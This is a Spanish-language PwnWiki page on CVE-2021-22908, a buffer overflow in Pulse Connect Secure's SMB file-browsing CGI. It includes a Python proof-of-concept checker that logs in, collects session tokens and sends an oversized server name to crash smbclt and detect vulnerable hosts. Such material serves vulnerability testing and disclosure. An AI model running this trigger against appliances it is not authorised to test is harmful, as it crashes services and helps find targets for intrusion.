CVE-2021-22908 Vulnerabilidad de ejecución de código arbitrario seguro de Pulse Connect
From PwnWiki
Descripción de la vulnerabilidad
Debido a que PCS admite la conexión al uso compartido de archivos de Windows (SMB), la función la proporcionan los scripts CGI basados en las bibliotecas y aplicaciones auxiliares de Samba 4.5.10. Al especificar un nombre de servidor largo para ciertas operaciones SMB, la aplicación smbclt puede fallar debido al desbordamiento del búfer, dependiendo de la longitud del nombre de servidor especificado.
Se ha confirmado que el sistema PCS 9.1R11.4 tiene esta vulnerabilidad. El punto final CGI de destino es /dana/fb/smb/wnf.cgi. Otros puntos finales CGI también pueden desencadenar esta vulnerabilidad.
Si un atacante no puede limpiar después de aprovechar con éxito esta vulnerabilidad, especificar un nombre de servidor largo puede resultar en las siguientes entradas de registro de eventos de PCS:
Critical ERR31093 2021-05-24 14:05:37 - ive - [127.0.0.1] Root::System()[] - Program smbclt recently failed.
Pero para aprovechar esta vulnerabilidad, el servidor PCS debe tener una política de acceso a archivos de Windows que permita \\ * u otra política que permita a un atacante conectarse a cualquier servidor. Puede ver la política SMB actual en Usuario-> Política de recursos-> Política de acceso a archivos de Windows en la página de administración de PCS. 9.1R2 y los dispositivos PCS anteriores utilizan la política predeterminada de permitir conexiones a cualquier host SMB. A partir de 9.1R3, esta política se ha cambiado del permiso predeterminado al rechazo predeterminado.
Alcance de influencia
Pulse Connect Secure 9.0RX and 9.1RX
POC
#!/usr/bin/env python3
# Utility to check for Pulse Connect Secure CVE-2021-22908
# https://www.kb.cert.org/vuls/id/667933
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import sys
from html.parser import HTMLParser
import getpass
parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
parser.add_argument('host', type=str, help='PCS IP or hostname)')
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')
args = parser.parse_args()
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class formvaluefinder(HTMLParser):
def __init__(self, searchval):
super(type (self), self).__init__()
self.searchval = searchval
def handle_starttag(self, tag, attrs):
if tag == 'input':
# We're just looking for form <input> tags
foundelement = False
for attr in attrs:
if(attr[0] == 'name'):
if(attr[1] == self.searchval):
foundelement = True
elif(attr[0] == 'value' and foundelement == True):
self.data = attr[1]
class preauthfinder(HTMLParser):
foundelement = False
def handle_starttag(self, tag, attrs):
if tag == 'textarea':
# We're just looking for <textarea> tags
foundelement = False
for attr in attrs:
if(attr[0] == 'id'):
if(attr[1] == 'sn-preauth-text_2'):
self.foundelement = True
def handle_data(self, data):
if self.foundelement:
self.data = data
self.foundelement = False
def get_realm(host, defaulturi):
realm = None
print('Getting default realm for %s...' % host)
url = 'https://%s%s' % (host,defaulturi)
res = None
try:
res = requests.get(url, verify=False, timeout=10)
except requests.exceptions.ConnectionError:
print('Error retrieving %s' % url)
if res:
if res.status_code == 200:
html = str(res.content)
if 'sn-preauth-text_2' in html:
print('Preauth required...')
parser = preauthfinder()
parser.feed(html)
preauthtext = parser.data
values = {'sn-preauth-text': preauthtext, 'sn-preauth-proceed': 'Proceed'}
res = requests.post(res.url, data=values, verify=False, allow_redirects=False, timeout=10)
if res.content:
parser = formvaluefinder('realm')
parser.feed(str(res.content))
realm = parser.data
else:
print('Error retrieving login page')
else:
parser = formvaluefinder('realm')
parser.feed(html)
realm = parser.data
return realm
def get_dsid(host, defaulturi, realm, user, password):
dsid = None
loginuri = defaulturi.replace('welcome.cgi', 'login.cgi')
url = 'https://%s%s' % (host,loginuri)
values = {'username': user, 'password': password, 'realm': realm, 'btnSubmit': 'Sign In'}
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
if 'confirm' in res.headers['location']:
# Redirect to "user-confirm" that they still want to log in, despite already
# having an active session
print('User session is already active! Proceeding...')
res = requests.post(url, data=values, verify=False, allow_redirects=True, timeout=10)
parser = formvaluefinder('FormDataStr')
parser.feed(str(res.content))
formdata = parser.data
values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
elif 'cred' in res.headers['location']:
# This is a pulse that requires 2FA
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'id':
key = cookie.value
password2 = input('MFA code: ')
values = {'key': key, 'password#2': password2, 'btnSubmit': 'Sign In'}
cookies = {'id': key, 'DSSigninNotif': '1'}
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
if 'confirm' in res.headers['location']:
# Redirect to "user-confirm" that they still want to log in, despite already
# having an active session
print('User session is already active! Proceeding...')
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
parser = formvaluefinder('FormDataStr')
parser.feed(str(res.content))
formdata = parser.data
values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
else:
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
elif 'failed' in res.headers['location']:
print('Login failed!')
else:
# Login accepted
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
return dsid
def get_xsauth(host, dsid):
xsauth = None
url = 'https://%s/dana/home/index.cgi' % host
cookies = {'DSID':dsid}
res = requests.get(url, verify=False, cookies=cookies, timeout=10)
if 'xsauth' in str(res.content):
parser = formvaluefinder('xsauth')
parser.feed(str(res.content))
xsauth = parser.data
else:
print('Cannot find xsauth string for provided DSID: %s' % dsid)
return xsauth
def trigger_vul(host, dsid, xsauth):
url = 'https://%s/dana/fb/smb/wnf.cgi' % host
values = {
't': 's',
'v': '%s,,' % ('A' * 1800),
'dir': 'tmp',
'si': None,
'ri': None,
'pi': None,
'confirm': 'yes',
'folder': 'tmp',
'acttype': 'create',
'xsauth': xsauth,
'create': 'Create Folder',
}
cookies = {'DSID': dsid}
try:
res = requests.post(url, data=values, verify=False, allow_redirects=False, cookies=cookies, timeout=60)
status = res.status_code
if 'DSIDFormDataStr' in str(res.content):
# We got page asking to confirm our action
print('xsauth value was not accepted')
else:
if status == 200 and 'Error FB-8' in str(res.content):
print('HTTP %s. Windows File Access Policies prevents exploitation.' % status)
elif status == 200:
print('HTTP %s. Not vulnerable.' % status)
elif status == 403:
print('HTTP %s. XML workaround applied.' % status)
elif status == 500:
print('HTTP %s. %s is vulnerable to CVE-2021-22908!' % (status, host))
elif status == 302:
print('HTTP %s. Are you sure your DSID is valid?' % host)
else:
print('HTTP %s. Not sure how to interpret this result.' % status)
except requests.exceptions.ReadTimeout:
print('No response from server. Try again...')
def get_default(host):
url = 'https://%s' % host
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
try:
location = res.headers['location']
if 'dana-na' not in location:
print('%s does not seem to be a PCS host' % host)
location = None
except:
pass
return location
def check_xml(host):
url = 'https://%s/dana/meeting' % host
#print('Checking status of %s ...' % url)
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
if res.status_code == 403:
print('Workaround-2104 appears to be installed')
else:
print('Workaround-2104 does NOT seem to be installed. Hope you are on R11.4 or later!')
url = 'https://%s/dana-cached/fb/smb/wfmd.cgi' % host
#print('Checking status of %s ...' % url)
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
if res.status_code == 403:
print('Workaround-2105 appears to be installed')
else:
print('Workaround-2105 does NOT seem to be installed. Hope you are on R11.5 or later!')
host = args.host
if args.noauth:
check_xml(host)
else:
defaulturi = get_default(host)
if defaulturi:
if not args.realm:
realm = get_realm(host, defaulturi)
else:
realm = args.realm
if realm:
print('Realm: %s' % realm)
if not args.user and not args.dsid:
user = input('User: ')
else:
user = args.user
if not args.password and not args.dsid:
password = getpass.getpass()
else:
password = args.password
if not args.dsid:
dsid = get_dsid(host, defaulturi, realm, user, password)
print('DSID: %s' % dsid)
else:
dsid = args.dsid
if dsid:
if not args.xsauth:
xsauth = get_xsauth(host, dsid)
print('xsauth: %s' % xsauth)
else:
xsauth = args.xsauth
if xsauth:
trigger_vul(host, dsid, xsauth)
